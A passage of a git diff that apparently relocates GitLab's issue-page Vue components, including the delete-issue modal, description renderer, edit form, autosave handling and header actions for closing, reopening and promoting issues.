+ })
+ .then(this.updateStoreState)
+ .then(() => {
+ eventHub.$emit('close.form');
+ })
+ .catch((error = {}) => {
+ const { message, response = {} } = error;
+
+ this.store.setFormState({
+ updateLoading: false,
+ });
+
+ let errMsg = this.defaultErrorMessage;
+
+ if (response.data && response.data.errors) {
+ errMsg += `. ${response.data.errors.join(' ')}`;
+ } else if (message) {
+ errMsg += `. ${message}`;
+ }
+
+ this.flashContainer = createFlash({
+ message: errMsg,
+ });
+ });
+ },
+
+ hideStickyHeader() {
+ this.isStickyHeaderShowing = false;
+ },
+
+ showStickyHeader() {
+ this.isStickyHeaderShowing = true;
+ },
+
+ clearFlash() {
+ if (this.flashContainer) {
+ this.flashContainer.style.display = 'none';
+ this.flashContainer = null;
+ }
+ },
+
+ taskListUpdateStarted() {
+ this.poll.stop();
+ },
+
+ taskListUpdateSucceeded() {
+ this.poll.enable();
+ this.poll.makeDelayedRequest(POLLING_DELAY);
+ },
+
+ taskListUpdateFailed() {
+ this.poll.enable();
+ this.poll.makeDelayedRequest(POLLING_DELAY);
+
+ this.updateStoreState();
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <div v-if="canUpdate && showForm">
+ <form-component
+ :endpoint="endpoint"
+ :form-state="formState"
+ :initial-description-text="initialDescriptionText"
+ :can-destroy="canDestroy"
+ :issuable-templates="issuableTemplates"
+ :markdown-docs-path="markdownDocsPath"
+ :markdown-preview-path="markdownPreviewPath"
+ :project-path="projectPath"
+ :project-id="projectId"
+ :project-namespace="projectNamespace"
+ :show-delete-button="showDeleteButton"
+ :can-attach-file="canAttachFile"
+ :enable-autocomplete="enableAutocomplete"
+ :issuable-type="issuableType"
+ />
+ </div>
+ <div v-else>
+ <title-component
+ :issuable-ref="issuableRef"
+ :can-update="canUpdate"
+ :title-html="state.titleHtml"
+ :title-text="state.titleText"
+ :show-inline-edit-button="showInlineEditButton"
+ />
+
+ <gl-intersection-observer
+ v-if="shouldShowStickyHeader"
+ @appear="hideStickyHeader"
+ @disappear="showStickyHeader"
+ >
+ <transition name="issuable-header-slide">
+ <div
+ v-if="isStickyHeaderShowing"
+ class="issue-sticky-header gl-fixed gl-z-index-3 gl-bg-white gl-border-1 gl-border-b-solid gl-border-b-gray-100 gl-py-3"
+ data-testid="issue-sticky-header"
+ >
+ <div
+ class="issue-sticky-header-text gl-display-flex gl-align-items-center gl-mx-auto gl-px-5"
+ >
+ <p
+ class="issuable-status-box status-box gl-my-0"
+ :class="[isClosed ? 'status-box-issue-closed' : 'status-box-open']"
+ >
+ <gl-icon :name="statusIcon" class="gl-display-block d-sm-none gl-h-6!" />
+ <span class="gl-display-none d-sm-block">{{ statusText }}</span>
+ </p>
+ <span v-if="isLocked" data-testid="locked" class="issuable-warning-icon">
+ <gl-icon name="lock" :aria-label="__('Locked')" />
+ </span>
+ <span v-if="isConfidential" data-testid="confidential" class="issuable-warning-icon">
+ <gl-icon name="eye-slash" :aria-label="__('Confidential')" />
+ </span>
+ <span
+ v-if="isHidden"
+ v-gl-tooltip
+ :title="__('This issue is hidden because its author has been banned')"
+ data-testid="hidden"
+ class="issuable-warning-icon"
+ >
+ <gl-icon name="spam" />
+ </span>
+ <p
+ class="gl-font-weight-bold gl-overflow-hidden gl-white-space-nowrap gl-text-overflow-ellipsis gl-my-0"
+ :title="state.titleText"
+ >
+ {{ state.titleText }}
+ </p>
+ </div>
+ </div>
+ </transition>
+ </gl-intersection-observer>
+
+ <pinned-links
+ :zoom-meeting-url="zoomMeetingUrl"
+ :published-incident-url="publishedIncidentUrl"
+ :class="pinnedLinkClasses"
+ />
+
+ <component
+ :is="descriptionComponent"
+ :can-update="canUpdate"
+ :description-html="state.descriptionHtml"
+ :description-text="state.descriptionText"
+ :updated-at="state.updatedAt"
+ :task-status="state.taskStatus"
+ :issuable-type="issuableType"
+ :update-url="updateEndpoint"
+ :lock-version="state.lock_version"
+ @taskListUpdateStarted="taskListUpdateStarted"
+ @taskListUpdateSucceeded="taskListUpdateSucceeded"
+ @taskListUpdateFailed="taskListUpdateFailed"
+ />
+
+ <edited-component
+ v-if="hasUpdated"
+ :updated-at="state.updatedAt"
+ :updated-by-name="state.updatedByName"
+ :updated-by-path="state.updatedByPath"
+ />
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issues/show/components/delete_issue_modal.vue b/app/assets/javascripts/issues/show/components/delete_issue_modal.vue
new file mode 100644
index 00000000000..26862346b86
--- /dev/null
+++ b/app/assets/javascripts/issues/show/components/delete_issue_modal.vue
@@ -0,0 +1,71 @@
+<script>
+import { GlModal } from '@gitlab/ui';
+import csrf from '~/lib/utils/csrf';
+import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
+import { __, sprintf } from '~/locale';
+
+export default {
+ actionCancel: { text: __('Cancel') },
+ csrf,
+ components: {
+ GlModal,
+ },
+ props: {
+ issuePath: {
+ type: String,
+ required: true,
+ },
+ issueType: {
+ type: String,
+ required: true,
+ },
+ modalId: {
+ type: String,
+ required: true,
+ },
+ title: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ actionPrimary() {
+ return {
+ attributes: { variant: 'danger' },
+ text: this.title,
+ };
+ },
+ bodyText() {
+ return this.issueType.toLowerCase() === 'epic'
+ ? __('Delete this epic and all descendants?')
+ : sprintf(__('%{issuableType} will be removed! Are you sure?'), {
+ issuableType: capitalizeFirstCharacter(this.issueType),
+ });
+ },
+ },
+ methods: {
+ submitForm() {
+ this.$emit('delete');
+ this.$refs.form.submit();
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-modal
+ :action-cancel="$options.actionCancel"
+ :action-primary="actionPrimary"
+ :modal-id="modalId"
+ size="sm"
+ :title="title"
+ @primary="submitForm"
+ >
+ <form ref="form" :action="issuePath" method="post">
+ <input type="hidden" name="_method" value="delete" />
+ <input type="hidden" name="authenticity_token" :value="$options.csrf.token" />
+ <input type="hidden" name="destroy_confirm" value="true" />
+ {{ bodyText }}
+ </form>
+ </gl-modal>
+</template>
diff --git a/app/assets/javascripts/issues/show/components/description.vue b/app/assets/javascripts/issues/show/components/description.vue
new file mode 100644
index 00000000000..7be4c13f544
--- /dev/null
+++ b/app/assets/javascripts/issues/show/components/description.vue
@@ -0,0 +1,169 @@
+<script>
+import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
+import $ from 'jquery';
+import createFlash from '~/flash';
+import { __, sprintf } from '~/locale';
+import TaskList from '~/task_list';
+import animateMixin from '../mixins/animate';
+
+export default {
+ directives: {
+ SafeHtml,
+ },
+
+ mixins: [animateMixin],
+
+ props: {
+ canUpdate: {
+ type: Boolean,
+ required: true,
+ },
+ descriptionHtml: {
+ type: String,
+ required: true,
+ },
+ descriptionText: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ taskStatus: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ issuableType: {
+ type: String,
+ required: false,
+ default: 'issue',
+ },
+ updateUrl: {
+ type: String,
+ required: false,
+ default: null,
+ },
+ lockVersion: {
+ type: Number,
+ required: false,
+ default: 0,
+ },
+ },
+ data() {
+ return {
+ preAnimation: false,
+ pulseAnimation: false,
+ initialUpdate: true,
+ };
+ },
+ watch: {
+ descriptionHtml(newDescription, oldDescription) {
+ if (!this.initialUpdate && newDescription !== oldDescription) {
+ this.animateChange();
+ } else {
+ this.initialUpdate = false;
+ }
+
+ this.$nextTick(() => {
+ this.renderGFM();
+ });
+ },
+ taskStatus() {
+ this.updateTaskStatusText();
+ },
+ },
+ mounted() {
+ this.renderGFM();
+ this.updateTaskStatusText();
+ },
+ methods: {
+ renderGFM() {
+ $(this.$refs['gfm-content']).renderGFM();
+
+ if (this.canUpdate) {
+ // eslint-disable-next-line no-new
+ new TaskList({
+ dataType: this.issuableType,
+ fieldName: 'description',
+ lockVersion: this.lockVersion,
+ selector: '.detail-page-description',
+ onUpdate: this.taskListUpdateStarted.bind(this),
+ onSuccess: this.taskListUpdateSuccess.bind(this),
+ onError: this.taskListUpdateError.bind(this),
+ });
+ }
+ },
+
+ taskListUpdateStarted() {
+ this.$emit('taskListUpdateStarted');
+ },
+
+ taskListUpdateSuccess() {
+ this.$emit('taskListUpdateSucceeded');
+ },
+
+ taskListUpdateError() {
+ createFlash({
+ message: sprintf(
+ __(
+ 'Someone edited this %{issueType} at the same time you did. The description has been updated and you will need to make your changes again.',
+ ),
+ {
+ issueType: this.issuableType,
+ },
+ ),
+ });
+
+ this.$emit('taskListUpdateFailed');
+ },
+
+ updateTaskStatusText() {
+ const taskRegexMatches = this.taskStatus.match(/(\d+) of ((?!0)\d+)/);
+ const $issuableHeader = $('.issuable-meta');
+ const $tasks = $('#task_status', $issuableHeader);
+ const $tasksShort = $('#task_status_short', $issuableHeader);
+
+ if (taskRegexMatches) {
+ $tasks.text(this.taskStatus);
+ $tasksShort.text(
+ `${taskRegexMatches[1]}/${taskRegexMatches[2]} task${taskRegexMatches[2] > 1 ? 's' : ''}`,
+ );
+ } else {
+ $tasks.text('');
+ $tasksShort.text('');
+ }
+ },
+ },
+ safeHtmlConfig: { ADD_TAGS: ['gl-emoji', 'copy-code'] },
+};
+</script>
+
+<template>
+ <div
+ v-if="descriptionHtml"
+ :class="{
+ 'js-task-list-container': canUpdate,
+ }"
+ class="description"
+ >
+ <div
+ ref="gfm-content"
+ v-safe-html:[$options.safeHtmlConfig]="descriptionHtml"
+ :class="{
+ 'issue-realtime-pre-pulse': preAnimation,
+ 'issue-realtime-trigger-pulse': pulseAnimation,
+ }"
+ class="md"
+ ></div>
+ <!-- eslint-disable vue/no-mutating-props -->
+ <textarea
+ v-if="descriptionText"
+ ref="textarea"
+ v-model="descriptionText"
+ :data-update-url="updateUrl"
+ class="hidden js-task-list-field"
+ dir="auto"
+ >
+ </textarea>
+ <!-- eslint-enable vue/no-mutating-props -->
+ </div>
+</template>
diff --git a/app/assets/javascripts/issues/show/components/edit_actions.vue b/app/assets/javascripts/issues/show/components/edit_actions.vue
new file mode 100644
index 00000000000..4daf6f2b61b
--- /dev/null
+++ b/app/assets/javascripts/issues/show/components/edit_actions.vue
@@ -0,0 +1,141 @@
+<script>
+import { GlButton, GlModalDirective } from '@gitlab/ui';
+import { uniqueId } from 'lodash';
+import { __, sprintf } from '~/locale';
+import Tracking from '~/tracking';
+import eventHub from '../event_hub';
+import updateMixin from '../mixins/update';
+import getIssueStateQuery from '../queries/get_issue_state.query.graphql';
+import DeleteIssueModal from './delete_issue_modal.vue';
+
+const issuableTypes = {
+ issue: __('Issue'),
+ epic: __('Epic'),
+ incident: __('Incident'),
+};
+
+const trackingMixin = Tracking.mixin({ label: 'delete_issue' });
+
+export default {
+ components: {
+ DeleteIssueModal,
+ GlButton,
+ },
+ directives: {
+ GlModal: GlModalDirective,
+ },
+ mixins: [trackingMixin, updateMixin],
+ props: {
+ canDestroy: {
+ type: Boolean,
+ required: true,
+ },
+ endpoint: {
+ required: true,
+ type: String,
+ },
+ formState: {
+ type: Object,
+ required: true,
+ },
+ showDeleteButton: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ issuableType: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ deleteLoading: false,
+ skipApollo: false,
+ issueState: {},
+ modalId: uniqueId('delete-issuable-modal-'),
+ };
+ },
+ apollo: {
+ issueState: {
+ query: getIssueStateQuery,
+ skip() {
+ return this.skipApollo;
+ },
+ result() {
+ this.skipApollo = true;
+ },
+ },
+ },
+ computed: {
+ deleteIssuableButtonText() {
+ return sprintf(__('Delete %{issuableType}'), {
+ issuableType: this.typeToShow.toLowerCase(),
+ });
+ },
+ isSubmitEnabled() {
+ return this.formState.title.trim() !== '';
+ },
+ shouldShowDeleteButton() {
+ return this.canDestroy && this.showDeleteButton;
+ },
+ typeToShow() {
+ const { issueState, issuableType } = this;
+ const type = issueState.issueType ?? issuableType;
+ return issuableTypes[type];
+ },
+ },
+ methods: {
+ closeForm() {
+ eventHub.$emit('close.form');
+ },
+ deleteIssuable() {
+ this.deleteLoading = true;
+ eventHub.$emit('delete.issuable');
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="gl-mt-3 gl-mb-3 gl-display-flex gl-justify-content-space-between">
+ <div>
+ <gl-button
+ :loading="formState.updateLoading"
+ :disabled="formState.updateLoading || !isSubmitEnabled"
+ category="primary"
+ variant="confirm"
+ class="qa-save-button gl-mr-3"
+ data-testid="issuable-save-button"
+ type="submit"
+ @click.prevent="updateIssuable"
+ >
+ {{ __('Save changes') }}
+ </gl-button>
+ <gl-button data-testid="issuable-cancel-button" @click="closeForm">
+ {{ __('Cancel') }}
+ </gl-button>
+ </div>
+ <div v-if="shouldShowDeleteButton">
+ <gl-button
+ v-gl-modal="modalId"
+ :loading="deleteLoading"
+ :disabled="deleteLoading"
+ category="secondary"
+ variant="danger"
+ class="qa-delete-button"
+ data-testid="issuable-delete-button"
+ @click="track('click_button')"
+ >
+ {{ deleteIssuableButtonText }}
+ </gl-button>
+ <delete-issue-modal
+ :issue-path="endpoint"
+ :issue-type="typeToShow"
+ :modal-id="modalId"
+ :title="deleteIssuableButtonText"
+ @delete="deleteIssuable"
+ />
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issues/show/components/edited.vue b/app/assets/javascripts/issues/show/components/edited.vue
new file mode 100644
index 00000000000..0da1900a6d0
--- /dev/null
+++ b/app/assets/javascripts/issues/show/components/edited.vue
@@ -0,0 +1,45 @@
+<script>
+/* eslint-disable @gitlab/vue-require-i18n-strings */
+import timeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+
+export default {
+ components: {
+ timeAgoTooltip,
+ },
+ props: {
+ updatedAt: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ updatedByName: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ updatedByPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ computed: {
+ hasUpdatedBy() {
+ return this.updatedByName && this.updatedByPath;
+ },
+ },
+};
+</script>
+
+<template>
+ <small class="edited-text">
+ Edited
+ <time-ago-tooltip v-if="updatedAt" :time="updatedAt" tooltip-placement="bottom" />
+ <span v-if="hasUpdatedBy">
+ by
+ <a :href="updatedByPath" class="author-link">
+ <span>{{ updatedByName }}</span>
+ </a>
+ </span>
+ </small>
+</template>
diff --git a/app/assets/javascripts/issue_show/components/fields/description.vue b/app/assets/javascripts/issues/show/components/fields/description.vue
index 5476a1ef897..5476a1ef897 100644
--- a/app/assets/javascripts/issue_show/components/fields/description.vue
+++ b/app/assets/javascripts/issues/show/components/fields/description.vue
diff --git a/app/assets/javascripts/issues/show/components/fields/description_template.vue b/app/assets/javascripts/issues/show/components/fields/description_template.vue
new file mode 100644
index 00000000000..9ce49b65a1a
--- /dev/null
+++ b/app/assets/javascripts/issues/show/components/fields/description_template.vue
@@ -0,0 +1,111 @@
+<script>
+import { GlIcon } from '@gitlab/ui';
+import $ from 'jquery';
+import IssuableTemplateSelectors from '~/issuable/issuable_template_selectors';
+
+export default {
+ components: {
+ GlIcon,
+ },
+ props: {
+ formState: {
+ type: Object,
+ required: true,
+ },
+ issuableTemplates: {
+ type: [Object, Array],
+ required: false,
+ default: () => ({}),
+ },
+ projectPath: {
+ type: String,
+ required: true,
+ },
+ projectId: {
+ type: Number,
+ required: true,
+ },
+ projectNamespace: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ issuableTemplatesJson() {
+ return JSON.stringify(this.issuableTemplates);
+ },
+ },
+ mounted() {
+ // Create the editor for the template
+ const editor = document.querySelector('.detail-page-description .note-textarea') || {};
+ editor.setValue = (val) => {
+ // eslint-disable-next-line vue/no-mutating-props
+ this.formState.description = val;
+ };
+ editor.getValue = () => this.formState.description;
+
+ this.issuableTemplate = new IssuableTemplateSelectors({
+ $dropdowns: $(this.$refs.toggle),
+ editor,
+ });
+ },
+};
+</script>
+
+<template>
+ <!-- eslint-disable @gitlab/vue-no-data-toggle -->
+ <div class="dropdown js-issuable-selector-wrap gl-mb-0" data-issuable-type="issues">
+ <button
+ ref="toggle"
+ :data-namespace-path="projectNamespace"
+ :data-project-path="projectPath"
+ :data-project-id="projectId"
+ :data-data="issuableTemplatesJson"
+ class="dropdown-menu-toggle js-issuable-selector gl-button"
+ type="button"
+ data-field-name="issuable_template"
+ data-selected="null"
+ data-toggle="dropdown"
+ >
+ <span class="dropdown-toggle-text">{{ __('Choose a template') }}</span>
+ <gl-icon name="chevron-down" class="gl-absolute gl-top-3 gl-right-3 gl-text-gray-500" />
+ </button>
+ <div class="dropdown-menu dropdown-select">
+ <div class="dropdown-title gl-display-flex gl-justify-content-center">
+ <span class="gl-ml-auto">{{ __('Choose a template') }}</span>
+ <button
+ class="dropdown-title-button dropdown-menu-close gl-ml-auto"
+ :aria-label="__('Close')"
+ type="button"
+ >
+ <gl-icon name="close" class="dropdown-menu-close-icon" />
+ </button>
+ </div>
+ <div class="dropdown-input">
+ <input
+ type="search"
+ class="dropdown-input-field"
+ :placeholder="__('Filter')"
+ autocomplete="off"
+ />
+ <gl-icon name="search" class="dropdown-input-search" />
+ <gl-icon
+ name="close"
+ class="dropdown-input-clear js-dropdown-input-clear"
+ :aria-label="__('Clear templates search input')"
+ />
+ </div>
+ <div class="dropdown-content"></div>
+ <div class="dropdown-footer">
+ <ul class="dropdown-footer-list">
+ <li>
+ <a class="no-template">{{ __('No template') }}</a>
+ </li>
+ <li>
+ <a class="reset-template">{{ __('Reset template') }}</a>
+ </li>
+ </ul>
+ </div>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issue_show/components/fields/title.vue b/app/assets/javascripts/issues/show/components/fields/title.vue
index a73926575d0..a73926575d0 100644
--- a/app/assets/javascripts/issue_show/components/fields/title.vue
+++ b/app/assets/javascripts/issues/show/components/fields/title.vue
diff --git a/app/assets/javascripts/issue_show/components/fields/type.vue b/app/assets/javascripts/issues/show/components/fields/type.vue
index 9110a6924b4..9110a6924b4 100644
--- a/app/assets/javascripts/issue_show/components/fields/type.vue
+++ b/app/assets/javascripts/issues/show/components/fields/type.vue
diff --git a/app/assets/javascripts/issues/show/components/form.vue b/app/assets/javascripts/issues/show/components/form.vue
new file mode 100644
index 00000000000..6447ec85b4e
--- /dev/null
+++ b/app/assets/javascripts/issues/show/components/form.vue
@@ -0,0 +1,227 @@
+<script>
+import { GlAlert } from '@gitlab/ui';
+import $ from 'jquery';
+import Autosave from '~/autosave';
+import { IssuableType } from '~/issues/constants';
+import eventHub from '../event_hub';
+import EditActions from './edit_actions.vue';
+import DescriptionField from './fields/description.vue';
+import DescriptionTemplateField from './fields/description_template.vue';
+import IssuableTitleField from './fields/title.vue';
+import IssuableTypeField from './fields/type.vue';
+import LockedWarning from './locked_warning.vue';
+
+export default {
+ components: {
+ DescriptionField,
+ DescriptionTemplateField,
+ EditActions,
+ GlAlert,
+ IssuableTitleField,
+ IssuableTypeField,
+ LockedWarning,
+ },
+ props: {
+ canDestroy: {
+ type: Boolean,
+ required: true,
+ },
+ endpoint: {
+ type: String,
+ required: true,
+ },
+ formState: {
+ type: Object,
+ required: true,
+ },
+ issuableTemplates: {
+ type: [Object, Array],
+ required: false,
+ default: () => [],
+ },
+ issuableType: {
+ type: String,
+ required: true,
+ },
+ markdownPreviewPath: {
+ type: String,
+ required: true,
+ },
+ markdownDocsPath: {
+ type: String,
+ required: true,
+ },
+ projectPath: {
+ type: String,
+ required: true,
+ },
+ projectId: {
+ type: Number,
+ required: true,
+ },
+ projectNamespace: {
+ type: String,
+ required: true,
+ },
+ showDeleteButton: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ canAttachFile: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ enableAutocomplete: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ initialDescriptionText: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ data() {
+ return {
+ showOutdatedDescriptionWarning: false,
+ };
+ },
+ computed: {
+ hasIssuableTemplates() {
+ return Object.values(Object(this.issuableTemplates)).length;
+ },
+ showLockedWarning() {
+ return this.formState.lockedWarningVisible && !this.formState.updateLoading;
+ },
+ isIssueType() {
+ return this.issuableType === IssuableType.Issue;
+ },
+ },
+ created() {
+ eventHub.$on('delete.issuable', this.resetAutosave);
+ eventHub.$on('update.issuable', this.resetAutosave);
+ eventHub.$on('close.form', this.resetAutosave);
+ },
+ mounted() {
+ this.initAutosave();
+ },
+ beforeDestroy() {
+ eventHub.$off('delete.issuable', this.resetAutosave);
+ eventHub.$off('update.issuable', this.resetAutosave);
+ eventHub.$off('close.form', this.resetAutosave);
+ },
+ methods: {
+ initAutosave() {
+ const {
+ description: {
+ $refs: { textarea },
+ },
+ title: {
+ $refs: { input },
+ },
+ } = this.$refs;
+
+ this.autosaveDescription = new Autosave(
+ $(textarea),
+ [document.location.pathname, document.location.search, 'description'],
+ null,
+ this.formState.lock_version,
+ );
+
+ const savedLockVersion = this.autosaveDescription.getSavedLockVersion();
+
+ this.showOutdatedDescriptionWarning =
+ savedLockVersion && String(this.formState.lock_version) !== savedLockVersion;
+
+ this.autosaveTitle = new Autosave($(input), [
+ document.location.pathname,
+ document.location.search,
+ 'title',
+ ]);
+ },
+ resetAutosave() {
+ this.autosaveDescription.reset();
+ this.autosaveTitle.reset();
+ },
+ keepAutosave() {
+ const {
+ description: {
+ $refs: { textarea },
+ },
+ } = this.$refs;
+
+ textarea.focus();
+ this.showOutdatedDescriptionWarning = false;
+ },
+ discardAutosave() {
+ const {
+ description: {
+ $refs: { textarea },
+ },
+ } = this.$refs;
+
+ textarea.value = this.initialDescriptionText;
+ textarea.focus();
+ this.showOutdatedDescriptionWarning = false;
+ },
+ },
+};
+</script>
+
+<template>
+ <form data-testid="issuable-form">
+ <locked-warning v-if="showLockedWarning" />
+ <gl-alert
+ v-if="showOutdatedDescriptionWarning"
+ class="gl-mb-5"
+ variant="warning"
+ :primary-button-text="__('Keep')"
+ :secondary-button-text="__('Discard')"
+ :dismissible="false"
+ @primaryAction="keepAutosave"
+ @secondaryAction="discardAutosave"
+ >{{
+ __(
+ 'The comment you are editing has been changed by another user. Would you like to keep your changes and overwrite the new description or discard your changes?',
+ )
+ }}</gl-alert
+ >
+ <div class="row gl-mb-3">
+ <div class="col-12">
+ <issuable-title-field ref="title" :form-state="formState" />
+ </div>
+ </div>
+ <div class="row">
+ <div v-if="isIssueType" class="col-12 col-md-4 pr-md-0">
+ <issuable-type-field ref="issue-type" />
+ </div>
+ <div v-if="hasIssuableTemplates" class="col-12 col-md-4 pl-md-2">
+ <description-template-field
+ :form-state="formState"
+ :issuable-templates="issuableTemplates"
+ :project-path="projectPath"
+ :project-id="projectId"
+ :project-namespace="projectNamespace"
+ />
+ </div>
+ </div>
+ <description-field
+ ref="description"
+ :form-state="formState"
+ :markdown-preview-path="markdownPreviewPath"
+ :markdown-docs-path="markdownDocsPath"
+ :can-attach-file="canAttachFile"
+ :enable-autocomplete="enableAutocomplete"
+ />
+ <edit-actions
+ :endpoint="endpoint"
+ :form-state="formState"
+ :can-destroy="canDestroy"
+ :show-delete-button="showDeleteButton"
+ :issuable-type="issuableType"
+ />
+ </form>
+</template>
diff --git a/app/assets/javascripts/issues/show/components/header_actions.vue b/app/assets/javascripts/issues/show/components/header_actions.vue
new file mode 100644
index 00000000000..700ef92a0f3
--- /dev/null
+++ b/app/assets/javascripts/issues/show/components/header_actions.vue
@@ -0,0 +1,345 @@
+<script>
+import {
+ GlButton,
+ GlDropdown,
+ GlDropdownDivider,
+ GlDropdownItem,
+ GlLink,
+ GlModal,
+ GlModalDirective,
+} from '@gitlab/ui';
+import { mapActions, mapGetters, mapState } from 'vuex';
+import createFlash, { FLASH_TYPES } from '~/flash';
+import { EVENT_ISSUABLE_VUE_APP_CHANGE } from '~/issuable/constants';
+import { IssuableType } from '~/vue_shared/issuable/show/constants';
+import { IssuableStatus } from '~/issues/constants';
+import { IssueStateEvent } from '~/issues/show/constants';
+import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
+import { visitUrl } from '~/lib/utils/url_utility';
+import { s__, __, sprintf } from '~/locale';
+import eventHub from '~/notes/event_hub';
+import Tracking from '~/tracking';
+import promoteToEpicMutation from '../queries/promote_to_epic.mutation.graphql';
+import updateIssueMutation from '../queries/update_issue.mutation.graphql';
+import DeleteIssueModal from './delete_issue_modal.vue';
+
+const trackingMixin = Tracking.mixin({ label: 'delete_issue' });
+
+export default {
+ actionCancel: {
+ text: __('Cancel'),
+ },
+ actionPrimary: {
+ text: __('Yes, close issue'),
+ },
+ deleteModalId: 'delete-modal-id',
+ i18n: {
+ promoteErrorMessage: __(
+ 'Something went wrong while promoting the issue to an epic. Please try again.',
+ ),
+ promoteSuccessMessage: __(
+ 'The issue was successfully promoted to an epic. Redirecting to epic...',
+ ),
+ },
+ components: {
+ DeleteIssueModal,
+ GlButton,
+ GlDropdown,
+ GlDropdownDivider,
+ GlDropdownItem,
+ GlLink,
+ GlModal,
+ },
+ directives: {
+ GlModal: GlModalDirective,
+ },
+ mixins: [trackingMixin],
+ inject: {
+ canCreateIssue: {
+ default: false,
+ },
+ canDestroyIssue: {
+ default: false,
+ },
+ canPromoteToEpic: {
+ default: false,
+ },
+ canReopenIssue: {
+ default: false,
+ },
+ canReportSpam: {
+ default: false,
+ },
+ canUpdateIssue: {
+ default: false,
+ },
+ iid: {
+ default: '',
+ },
+ isIssueAuthor: {
+ default: false,
+ },
+ issuePath: {
+ default: '',
+ },
+ issueType: {
+ default: IssuableType.Issue,
+ },
+ newIssuePath: {
+ default: '',
+ },
+ projectPath: {
+ default: '',
+ },
+ reportAbusePath: {
+ default: '',
+ },
+ submitAsSpamPath: {
+ default: '',
+ },
+ },
+ computed: {
+ ...mapState(['isToggleStateButtonLoading']),
+ ...mapGetters(['openState', 'getBlockedByIssues']),
+ isClosed() {
+ return this.openState === IssuableStatus.Closed;
+ },
+ issueTypeText() {
+ const issueTypeTexts = {
+ [IssuableType.Issue]: s__('HeaderAction|issue'),
+ [IssuableType.Incident]: s__('HeaderAction|incident'),
+ };
+
+ return issueTypeTexts[this.issueType] ?? this.issueType;
+ },
+ buttonText() {
+ return this.isClosed
+ ? sprintf(__('Reopen %{issueType}'), { issueType: this.issueTypeText })
+ : sprintf(__('Close %{issueType}'), { issueType: this.issueTypeText });
+ },
+ deleteButtonText() {
+ return sprintf(__('Delete %{issuableType}'), { issuableType: this.issueTypeText });
+ },
+ qaSelector() {
+ return this.isClosed ? 'reopen_issue_button' : 'close_issue_button';
+ },
+ dropdownText() {
+ return sprintf(__('%{issueType} actions'), {
+ issueType: capitalizeFirstCharacter(this.issueType),
+ });
+ },
+ newIssueTypeText() {
+ return sprintf(__('New %{issueType}'), { issueType: this.issueType });
+ },
+ showToggleIssueStateButton() {
+ const canClose = !this.isClosed && this.canUpdateIssue;
+ const canReopen = this.isClosed && this.canReopenIssue;
+ return canClose || canReopen;
+ },
+ },
+ created() {
+ eventHub.$on('toggle.issuable.state', this.toggleIssueState);
+ },
+ beforeDestroy() {
+ eventHub.$off('toggle.issuable.state', this.toggleIssueState);
+ },
+ methods: {
+ ...mapActions(['toggleStateButtonLoading']),
+ toggleIssueState() {
+ if (!this.isClosed && this.getBlockedByIssues?.length) {
+ this.$refs.blockedByIssuesModal.show();
+ return;
+ }
+
+ this.invokeUpdateIssueMutation();
+ },
+ invokeUpdateIssueMutation() {
+ this.toggleStateButtonLoading(true);
+
+ this.$apollo
+ .mutate({
+ mutation: updateIssueMutation,
+ variables: {
+ input: {
+ iid: this.iid.toString(),
+ projectPath: this.projectPath,
+ stateEvent: this.isClosed ? IssueStateEvent.Reopen : IssueStateEvent.Close,
+ },
+ },
+ })
+ .then(({ data }) => {
+ if (data.updateIssue.errors.length) {
+ throw new Error();
+ }
+
+ const payload = {
+ detail: {
+ data: { id: this.iid },
+ isClosed: !this.isClosed,
+ },
+ };
+
+ // Dispatch event which updates open/close state, shared among the issue show page
+ document.dispatchEvent(new CustomEvent(EVENT_ISSUABLE_VUE_APP_CHANGE, payload));
+ })
+ .catch(() => createFlash({ message: __('Error occurred while updating the issue status') }))
+ .finally(() => {
+ this.toggleStateButtonLoading(false);
+ });
+ },
+ promoteToEpic() {
+ this.toggleStateButtonLoading(true);
+
+ this.$apollo
+ .mutate({
+ mutation: promoteToEpicMutation,
+ variables: {
+ input: {
+ iid: this.iid,
+ projectPath: this.projectPath,
+ },
+ },
+ })
+ .then(({ data }) => {
+ if (data.promoteToEpic.errors.length) {
+ throw new Error();
+ }
+
+ createFlash({
+ message: this.$options.i18n.promoteSuccessMessage,
+ type: FLASH_TYPES.SUCCESS,
+ });
+
+ visitUrl(data.promoteToEpic.epic.webPath);
+ })
+ .catch(() => createFlash({ message: this.$options.i18n.promoteErrorMessage }))
+ .finally(() => {
+ this.toggleStateButtonLoading(false);
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="detail-page-header-actions gl-display-flex">
+ <gl-dropdown
+ class="gl-sm-display-none! w-100"
+ block
+ :text="dropdownText"
+ data-qa-selector="issue_actions_dropdown"
+ :loading="isToggleStateButtonLoading"
+ >
+ <gl-dropdown-item
+ v-if="showToggleIssueStateButton"
+ :data-qa-selector="`mobile_${qaSelector}`"
+ @click="toggleIssueState"
+ >
+ {{ buttonText }}
+ </gl-dropdown-item>
+ <gl-dropdown-item v-if="canCreateIssue" :href="newIssuePath">
+ {{ newIssueTypeText }}
+ </gl-dropdown-item>
+ <gl-dropdown-item v-if="canPromoteToEpic" @click="promoteToEpic">
+ {{ __('Promote to epic') }}
+ </gl-dropdown-item>
+ <gl-dropdown-item v-if="!isIssueAuthor" :href="reportAbusePath">
+ {{ __('Report abuse') }}
+ </gl-dropdown-item>
+ <gl-dropdown-item
